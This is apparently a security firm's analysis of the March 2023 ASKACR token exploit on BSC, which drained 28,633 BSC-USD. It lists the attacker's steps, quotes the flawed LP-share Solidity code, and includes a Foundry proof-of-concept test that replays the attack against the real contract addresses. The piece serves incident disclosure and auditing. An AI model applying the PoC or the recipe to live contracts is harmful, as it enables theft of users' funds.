Deep Security Analysis of the ASKACR attack

Daniel Tan

Daniel Tan

Security Operation / Audit


On March 21, 2023, at 01:39:47 PM +UTC, the attacker(0xb189943) created and manipulated many new contracts, which gained ASKACR tokens from the ASKACR contract itself. Finally, the attacker gained 28,633 BSC-USD from the attack.

➡️ Link to the Original Story:


Mar-21-2023 01:39:47 PM +UTC, the attacker(0xb189943) created many new contracts, which gained ASKACR tokens from the ASKACR contract itself. Finally the attacker gained 28,633 BSC-USD.



Attacking Contract

Victim Contract


Attacking Steps

  1. The attacker(0xb189943) flash-loaned 160000000000000000000000 BSC-USD to the attacking contract(0x559a352), then the attacking contract performed the following steps;
  2. Swapped 80000000000000000000000 BSC-USD for 7602113503899446077512 ASKACR(0x5ae4b2f92f03717f3bdfe3b440d14d2f212d3745);
  3. Added liquidity with 80000000000000000000000 BSC-USD and 4602113503899446077512 ASKACR and gained 11030872800726050506746 Cake-LP token;
  4. Transferred 0 ASKACR tokens to itself;
  5. Created a new contract(0xbd9669) and made the new contract approve a great allowance to the attacking contract for the Cake-LP token;
  6. Transferred 11020872800726050506746 Cake-LP token to the new contract(0xbd9669);
  7. Made the new contract(0xbd9669) transfer 0 ASKACR token to itself;
  8. Repeated step 5 to step 7;
  9. Transferred 11020872800726050506746 Cake-LP to each new contract and withdrew the ASKACR token from each new contract to the attacking contract.
  10. Transferred 11020872800726050506746 Cake-LP to itself and removed the liquidity;
  11. Swapped ASKACR tokens to the BSC-USD tokens;
  12. Paid the flash-loan token and transferred the 28633086898865610595739 BSC-USD to 0xb189943.

Root Cause

The root cause is the way to compute the share. The share will be added to the corresponding account's balance. However, the way to compute the share mainly depends on the amount of LP tokens. Note that the _lpBalances[from] is only the number of the LP tokens in the previous transfer.

function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { _inviter(from, to); _lpShare(from, to); } function _lpShare(address from, address to) internal { address addressThis = address(this); uint256 fromShare = computeLpShare(from); uint256 toShare = computeLpShare(to); ... if(toShare > 0){ _balances[addressThis] = _balances[addressThis] - toShare; _balances[to] = toShare + _balances[to]; emit Transfer(addressThis, to, toShare); } _allShares[from] = _shares; _allShares[to] = _shares; } function computeLpShare(address from) public view returns (uint256){ uint256 lpBalanceFrom = _pair.balanceOf(from); lpBalanceFrom = lpBalanceFrom > _lpBalances[from]? _lpBalances[from]: lpBalanceFrom; if(lpBalanceFrom <= 0){ return 0; } uint256 share = (_shares - _allShares[from]) * lpBalanceFrom; return share / (10 ** 18); }

In the _afterTokenTransfer function, users' balance of the Cake-LP will be stored in the _lpBalances mapping:

function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual { _lpBalances[from] = _pair.balanceOf(from); _lpBalances[to] = _pair.balanceOf(to); }

The hacker created many new contracts and transferred LP tokens to the new contracts.

Then, the hacker made the new contract and transferred 0 ASKACR tokens to the new contract itself to make _lpBalances[New_Contract] 11020872800726050506746.

So, due to the share calculation rule in the computeLpShare function, in the next transfer, the new contract gained some shares into balance.

Finally, the new contract transferred all the tokens to the attacker and the attacker gained the profit.

Fund Loss

28,633 BSC-USD was stolen from the BSC-USD-ASKACR pair(0xb93783).


IERC20 askacr = IERC20(0x5aE4b2F92F03717F3bdFE3B440D14d2f212D3745); IERC20 pair = IERC20(0xB93783F29dd52cad2CBBfe2E5d06C318b63995B2); address lpHolder = 0x13F110CBBe4151E0a2e241d5a29e6f86f0CEA1e4; //--fork-block-number 26658150, 2 blocks before the attacking function testASKACRAttack() public { uint balance = pair.balanceOf(address(lpHolder)); //assume the hacker is one of the lp token holder to skip the steps of flashloan, swapping and adding liquidity. address hacker = lpHolder; //At the begin, the hacker has no ASKACR token assertEq(balance, 1711299605121882680806); assertEq(askacr.balanceOf(address(hacker)), 8728411131443188467); //impersonate the hacker vm.startPrank(address(hacker)); askacr.transfer(address(hacker), 0); //create a new contract Intermediary new1 = new Intermediary(IERC20(pair)); //transfer LP token to the new contract pair.transfer(address(new1), pair.balanceOf(address(hacker))); //new contract transfers 0 ASKACR token to itself askacr.transferFrom(address(new1), address(new1), 0); //new contract withdraws ASKACR token to the hacker new1.withdraw(askacr); //new contract transfers ASKACR token to the hacker pair.transferFrom(address(new1), address(hacker), pair.balanceOf(address(new1))); //At the end assertEq(pair.balanceOf(address(hacker)), 1711299605121882680806); // ASKACR token increased from 8728411131443188467 to 17388698494177696810 assertEq(askacr.balanceOf(address(hacker)), 17388698494177696810); vm.stopPrank(); }

PoC Repo:


  1. You can reach out to us via Twitter(, or by submitting a request via
  2. Feel Free to email us at or message us via Twitter.
  3. Find out more about Web3 security and get free trial access to our tools via
  4. Follow us on Twitter and subscribe to our newsletter.

Share this article

Tell us about your projects
Contact Us